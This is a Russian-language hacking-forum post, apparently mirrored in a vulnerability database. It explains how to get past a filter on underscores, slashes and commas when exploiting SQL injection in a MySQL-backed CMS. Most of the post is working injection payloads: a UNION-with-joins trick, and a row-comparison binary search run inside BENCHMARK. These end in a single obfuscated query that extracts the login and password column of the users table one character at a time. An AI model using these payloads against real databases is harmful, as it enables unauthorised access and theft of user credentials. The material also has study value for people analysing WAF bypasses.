MySQL: Обход фильтрации символов в имени колонок

2013-09-29T00:00:00
ID RDOT:2869
Type rdot
Reporter NameSpace
Modified 2013-09-29T00:00:00

Description

Прим.: Вариант, который потерялся, и о котором никто не напомнил: https://rdot.org/forum/showpost.php?...2&postcount=10
Материал ниже все равно может быть полезен при изучении специфических SQL-запросов в MySQL и при некоторых типах WAF.
------------

Недавно, изучая одну уязвимость возникла проблема - фильтрация символов: _ (Нижние подчеркивание), / (Unix-слэш)

Дыра была в одной из CMS, данные таблицы были известны заранее:

PHP код:

DROP TABLE IF EXISTS users;
CREATE TABLE users (
id int NOT NULL auto_increment,
u_login varchar(255) binary NOT NULL,
u_psss varchar(60) NOT NULL,
PRIMARY KEY (id)
);

Возомжное решение:

Цитата:

Сообщение от NameSpace Посмотреть сообщение

PHP код:

... UNION SELECT u_login, u_psss, 3, 4, 5 FROM users -- # Фильтрует _ и ,
... UNION SELECT * FROM (users join (select 3) a join (select 4) b join (select 5) c) -- # Пропускает


Не подходило по причинам(выбрать нужное):

  • Принтабельно только первое поле или таких полей вовсе нет
  • В запросе полей значительно меньше, чем в таблице
  • Вывод через ошибку
  • Инъекция в ORDER BY / etc
  • Инъекция полностью слепая

Решение

PHP код:

SELECT ('a' < 'admin'); - TRUE
SELECT ('b' < 'admin'); - FALSE
SELECT ('ac' < 'admin'); - TRUE
SELECT ('ad' < 'admin'); - TRUE
SELECT ('ae' < 'admin'); - FALSE

-----------------------------------------
SELECT (1, 'ad', 0x00) < (1, 'admin', 'passwd'); - TRUE
SELECT (1, 'adm', 0x00) < (SELECT * FROM users LIMIT 1); - TRUE
SELECT (1, 'adn', 0x00) < (SELECT * FROM users LIMIT 1); - FALSE

Но перед определением следующей колонки надо знать предыдущую:

SELECT (1, 'b') < (1, 'admin'); - FALSE
SELECT (1, 'b') < (2, 'admin'); - TRUE

К этому все и идет. Это не долгий метод, работает он так-же быстро - 8 запросов на один символ. Однако выводить с такой скоростью при возможности нормального вывода - гиблое дело, по этому перебирать мы будем прямо в MySQL. Воспользуемся BENCHMARK. Варианта всего два:

  • Грубый перебор - просто, но запрос будет тяжелым
  • Бинарный поиск - сложно, но быстро

На деле бинарный поиск реализовать проще - в этом случае на поиск каждого символа идет ровно 8 попыток, что не составляет труда задать фиксировано.

Теория

Нам понадобится несколько переменных:

PHP код:

SET @res := ''; # Результирующая строка. Без кавычек задать пустую строку можно так: trim(0x20)

/ Переменные для бинарного поиска /
SET @one_num := 0;
SET @two_num := 256;

char((@one_num + @two_num) / 2) # Проверяемый символ

concat(@res, char((@one_num + @two_num) / 2)) # Проверяемая строка

Условие

((1, concat(@res, char((@one_num + @two_num) / 2)), 0x00) < (SELECT * FROM users LIMIT 1)) # Условие

Если условие ложно, то:

@two_num := (@one_num + @two_num) / 2

Если условие истинно:

@one_num := (@one_num + @two_num) / 2

Как прошли 8-ую итерацию:

@res := concat(@res, char(@one_num))

@one_num := 0;
@two_num := 256;

Объеденяем:

benchmark(8,
if(
((1, concat(@res, char((@one_num + @two_num) / 2)), 0x00) < (SELECT * FROM users LIMIT 1)),
(@one_num := (@one_num + @two_num) / 2),
(@two_num := (@one_num + @two_num) / 2)

)
)

Выводим результат:

SELECT char(@one_num);

Достроим запрос:

PHP код:

# Вывод нескольких символов:
benchmark(5,
concat(
@one_num := 0,
@two_num := 256,
benchmark(8,
if(
((1, concat(@res, char((@one_num + @two_num) / 2)), 0x00) < (SELECT * FROM users LIMIT 1)),
(@one_num := (@one_num + @two_num) / 2),
(@two_num := (@one_num + @two_num) / 2)

)
),
@res := concat(@res, char(@one_num))
)
);

А теперь инициализируем все переменные прямо там:

PHP код:

SELECT mid(
concat(
@res := trim(0x20),
benchmark(5,
concat(
@one_num := 0,
@two_num := 256,
benchmark(8,
if(
((1, concat(@res, char((@one_num + @two_num) / 2)), 0x00) < (SELECT * FROM users LIMIT 1)),
(@one_num := (@one_num + @two_num) / 2),
(@two_num := (@one_num + @two_num) / 2)

)
),
@res := concat(@res, char(@one_num))
)
),
@res
),
2
);

Работает! Избавимся от запрещенных символов:

Код:

SELECT mid(concat(@:=trim(0x20),benchmark(50,concat(@a:=0,@b:=256,benchmark(8,if((1, concat(@,char((@a+@b)div(2))), 0x00)&lt;=(SELECT * FROM users LIMIT 1),@a:=(@a+@b)div(2),(@b:=(@a+@b)div(2)))),@:=concat(@,char(@a)))),@),2);

И дело в шляпе! Запостил сюда, в Help по MySql инъекциям публиковать объемные посты наверное не стоит.